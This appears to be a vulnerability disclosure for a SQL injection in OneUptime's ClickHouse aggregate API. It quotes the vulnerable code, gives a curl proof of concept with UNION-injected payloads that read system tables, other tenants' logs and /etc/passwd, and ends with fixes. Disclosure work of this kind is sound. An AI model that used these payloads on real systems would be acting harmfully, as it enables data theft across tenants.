OneUptime ClickHouse SQL Injection via Aggregate Query Parameters

// BaseAnalyticsAPI.ts:292-296
const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(
    req.body["aggregateBy"]
) as AggregateBy<TBaseModel>;

// AnalyticsDatabaseService.ts:276-278
if (aggregateBy.aggregationType) {
    // Only truthiness check — no allowlist
}

// StatementGenerator.ts:527
statement.append(
    `${aggregationType}(${aggregateColumnName}) as aggregationResult`
);

// Statement.ts:149-151
public append(text: string): Statement {
    this.query += text; // Raw concatenation — "trusted SQL"
    return this;
}

statement.append(
    `toStartOfInterval(${aggregationTimestampColumnName}, ...)`
);

# Step 1: Authenticate and get session token
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@example.com","password":"password123"}' \
  | jq -r '.token')

# Step 2: Extract data from ClickHouse system tables via UNION injection
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "aggregateBy": {
      "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --",
      "aggregateColumnName": "serviceId",
      "aggregationTimestampColumnName": "createdAt"
    },
    "query": {}
  }'

# Step 3: Read telemetry data across all tenants
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "aggregateBy": {
      "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --",
      "aggregateColumnName": "serviceId",
      "aggregationTimestampColumnName": "createdAt"
    },
    "query": {}
  }'

# Step 4: Read files via ClickHouse table functions (if enabled)
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "aggregateBy": {
      "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\''/etc/passwd'\'') --",
      "aggregateColumnName": "serviceId",
      "aggregationTimestampColumnName": "createdAt"
    },
    "query": {}
  }'

# Verify the vulnerability in source code:

# 1. No allowlist for aggregationType:
grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5
# Line 276: if (aggregateBy.aggregationType) { — truthiness only

# 2. Raw SQL concatenation:
grep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts
# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`

# 3. .append() is raw concatenation:
grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts
# this.query += text; — "trusted SQL"

# 4. No validation at API layer:
grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist'
# 0

// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:
const ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];

if (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {
    throw new BadRequestException(
        `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +
        `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`
    );
}

// 2. Validate aggregateColumnName against the model's known columns:
const modelColumns = model.getColumnNames(); // or similar accessor
if (!modelColumns.includes(aggregateBy.aggregateColumnName)) {
    throw new BadRequestException(
        `Invalid column: ${aggregateBy.aggregateColumnName}`
    );
}

// 3. Same for aggregationTimestampColumnName:
if (aggregateBy.aggregationTimestampColumnName &&
    !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {
    throw new BadRequestException(
        `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`
    );
}

// 4. Use parameterized queries where possible:
statement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);
statement.addParameter('aggregationType', aggregateBy.aggregationType);
statement.addParameter('columnName', aggregateBy.aggregateColumnName);